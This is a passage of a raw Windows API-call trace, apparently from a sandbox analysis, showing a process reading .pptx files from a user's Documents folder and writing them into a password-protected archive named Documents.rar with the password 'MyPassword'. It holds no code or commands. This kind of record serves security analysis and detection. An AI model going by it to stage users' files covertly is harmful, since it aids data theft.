(in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x14de1, lpOverlapped=0x0) returned 1 [0083.723] ReadFile (in: hFile=0x350, lpBuffer=0x11631ba2e21, nNumberOfBytesToRead=0xeb21f, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631ba2e21*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.723] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.723] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.723] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.723] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.723] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e8893a0 [0083.723] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.723] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0083.723] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799b0, Size=0x48) returned 0x1162e888ea0 [0083.723] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.723] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0083.723] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0083.723] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0083.723] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799e0 | out: hHeap=0x1162e7c0000) returned 1 [0083.723] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799b0 | out: hHeap=0x1162e7c0000) returned 1 [0083.723] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e8891c0 [0083.723] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e8891c0, Size=0x7a) returned 0x1163205c5c0 [0083.723] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.723] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205c5c0 | out: hHeap=0x1162e7c0000) returned 1 [0083.724] GetTickCount () returned 0x2aba7 [0083.724] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17505249582) returned 1 [0083.724] GetTickCount () returned 0x2aba7 [0083.724] GetTickCount () returned 0x2aba7 [0083.724] GetTickCount () returned 0x2aba7 [0083.724] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.724] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.724] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.724] ResetEvent (hEvent=0x344) returned 1 [0083.724] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.726] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.726] ResetEvent (hEvent=0x344) returned 1 [0083.726] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.729] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.731] ResetEvent (hEvent=0x344) returned 1 [0083.731] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.733] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.733] GetTickCount () returned 0x2abb7 [0083.733] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17506145268) returned 1 [0083.733] GetTickCount () returned 0x2abb7 [0083.733] GetTickCount () returned 0x2abb7 [0083.733] GetTickCount () returned 0x2abb7 [0083.733] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.733] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.733] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.735] ResetEvent (hEvent=0x33c) returned 1 [0083.735] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.736] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.736] ResetEvent (hEvent=0x33c) returned 1 [0083.736] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.737] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.737] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.737] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.737] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x1eb2a1 [0083.737] SetFilePointer (in: hFile=0x32c, lDistanceToMove=98, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x1eb303 [0083.737] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.737] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.737] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.737] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.737] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x14eb0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x14eb0, lpOverlapped=0x0) returned 1 [0083.742] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.742] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.742] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2011809, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1eb2a1 [0083.742] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x1eb2a1 [0083.743] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0083.743] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.743] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888ea0 [0083.743] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.743] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.743] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888900 [0083.743] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.743] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.743] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0083.743] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0083.743] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799e0 | out: hHeap=0x1162e7c0000) returned 1 [0083.743] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799b0 | out: hHeap=0x1162e7c0000) returned 1 [0083.743] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a10, Size=0x48) returned 0x1162e888680 [0083.743] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888680, Size=0x7a) returned 0x1163205dd60 [0083.743] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205dd63*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205dd63*, lpNumberOfBytesWritten=0x141a0d82c0*=0x62, lpOverlapped=0x0) returned 1 [0083.743] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0083.744] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x62) returned 0x1162e7f9990 [0083.744] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0083.744] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205dd60 | out: hHeap=0x1162e7c0000) returned 1 [0083.744] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x2001b3 [0083.744] CloseHandle (hObject=0x350) returned 1 [0083.744] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.744] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.744] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.744] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.744] FindFirstFileW (in: lpFileName="jYH_Ha3VQR8eB_bONWr9.pptx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d820 [0083.744] FindClose (in: hFindFile=0x1163204d820 | out: hFindFile=0x1163204d820) returned 1 [0083.744] CreateFileW (lpFileName="jYH_Ha3VQR8eB_bONWr9.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\jyh_ha3vqr8eb_bonwr9.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.744] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.744] GetTickCount () returned 0x2abb7 [0083.744] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.744] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.744] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.745] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.745] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="g9y9 K 4j.pptx") returned 14 [0083.745] SetWindowTextW (hWnd=0x10300, lpString="jYH_Ha3VQR8eB_bONWr9.pptx") returned 1 [0083.745] GetTickCount () returned 0x2abc6 [0083.745] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 1 [0083.746] GetMessageW (in: lpMsg=0x141a0dd830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd830) returned 1 [0083.746] GetFocus () returned 0x1031c [0083.746] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd830) returned 1 [0083.746] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7630) returned 1 [0083.746] CryptGenRandom (in: hProv=0x116320a7630, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.746] CryptReleaseContext (hProv=0x116320a7630, dwFlags=0x0) returned 1 [0083.746] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0xf1)) [0083.746] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.746] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17507484539) returned 1 [0083.746] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0xc7e9, lpOverlapped=0x0) returned 1 [0083.747] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9a829, nNumberOfBytesToRead=0xf3817, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9a829*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.747] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0083.747] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0083.747] GetFocus () returned 0x1031c [0083.747] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0083.748] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.748] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.748] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0083.748] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799e0, Size=0x48) returned 0x1162e8886d0 [0083.748] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86db30 [0083.748] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0083.748] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799e0, Size=0x48) returned 0x1162e888810 [0083.748] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86db30 | out: hHeap=0x1162e7c0000) returned 1 [0083.748] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8886d0 | out: hHeap=0x1162e7c0000) returned 1 [0083.748] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0083.748] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0083.748] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079a10 | out: hHeap=0x1162e7c0000) returned 1 [0083.748] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799e0 | out: hHeap=0x1162e7c0000) returned 1 [0083.748] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e889120 [0083.748] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e889120, Size=0x7a) returned 0x1163205c890 [0083.748] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0083.748] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205c890 | out: hHeap=0x1162e7c0000) returned 1 [0083.751] GetTickCount () returned 0x2abc6 [0083.751] GetLastError () returned 0x0 [0083.751] SetLastError (dwErrCode=0x0) [0083.751] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0083.751] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0083.751] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbeb0, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0083.751] SetWindowTextW (hWnd=0x10302, lpString=" 100%") returned 1 [0083.752] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0083.752] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17508028699) returned 1 [0083.752] GetTickCount () returned 0x2abc6 [0083.752] GetTickCount () returned 0x2abc6 [0083.752] GetTickCount () returned 0x2abc6 [0083.752] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x141a0dd2e8 | out: ppv=0x141a0dd2e8*=0x116320799e0) returned 0x0 [0083.752] TaskbarList:ITaskbarList3:SetProgressState (This=0x116320799e0, hwnd=0x102f8, tbpFlags=2) returned 0x0 [0083.752] TaskbarList:ITaskbarList3:SetProgressValue (This=0x116320799e0, hwnd=0x102f8, ullCompleted=0x25f037, ullTotal=0x31d668) returned 0x0 [0083.753] TaskbarList:IUnknown:Release (This=0x116320799e0) returned 0x0 [0083.753] GetLastError () returned 0x36b7 [0083.753] SetLastError (dwErrCode=0x36b7) [0083.753] GetDlgItem (hDlg=0x102f8, nIDDlgItem=157) returned 0x1031a [0083.753] GetDlgItem (hDlg=0x102f8, nIDDlgItem=152) returned 0x10318 [0083.753] GetWindowTextW (in: hWnd=0x10318, lpString=0x141a0dbeb0, nMaxCount=2560 | out: lpString=" 60%") returned 5 [0083.753] SetWindowTextW (hWnd=0x10318, lpString=" 76%") returned 1 [0083.753] GetLastError () returned 0x0 [0083.753] SetLastError (dwErrCode=0x0) [0083.753] GetDlgItem (hDlg=0x102f8, nIDDlgItem=164) returned 0x10314 [0083.753] GetWindowTextW (in: hWnd=0x10314, lpString=0x141a0dbeb0, nMaxCount=2560 | out: lpString=" 96%") returned 5 [0083.753] SetWindowTextW (hWnd=0x10314, lpString=" 84%") returned 1 [0083.754] SendMessageW (hWnd=0x1031a, Msg=0x402, wParam=0x4c, lParam=0x0) returned 0x3c [0083.754] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0083.754] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0083.754] GetFocus () returned 0x1031c [0083.754] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0083.755] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.755] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.756] ResetEvent (hEvent=0x344) returned 1 [0083.756] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.758] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.758] ResetEvent (hEvent=0x344) returned 1 [0083.758] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.759] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.759] GetTickCount () returned 0x2abc6 [0083.759] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17508791658) returned 1 [0083.759] GetTickCount () returned 0x2abc6 [0083.759] GetTickCount () returned 0x2abc6 [0083.759] GetTickCount () returned 0x2abc6 [0083.759] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.759] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.759] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.759] ResetEvent (hEvent=0x33c) returned 1 [0083.760] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.760] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.760] ResetEvent (hEvent=0x33c) returned 1 [0083.762] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.763] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.763] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.763] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.763] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x2001b3 [0083.763] SetFilePointer (in: hFile=0x32c, lDistanceToMove=109, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x200220 [0083.763] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.763] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.763] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.763] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.763] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xc890, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xc890, lpOverlapped=0x0) returned 1 [0083.764] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.764] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.764] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2097587, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x2001b3 [0083.764] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x2001b3 [0083.764] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0083.764] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.764] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e8893a0 [0083.764] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.764] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.764] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888fe0 [0083.764] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.764] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8893a0 | out: hHeap=0x1162e7c0000) returned 1 [0083.764] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0083.764] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.764] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079aa0 | out: hHeap=0x1162e7c0000) returned 1 [0083.764] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079a10 | out: hHeap=0x1162e7c0000) returned 1 [0083.764] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799e0, Size=0x48) returned 0x1162e8893a0 [0083.764] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e8893a0, Size=0x7a) returned 0x1163205c920 [0083.765] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205c923*, 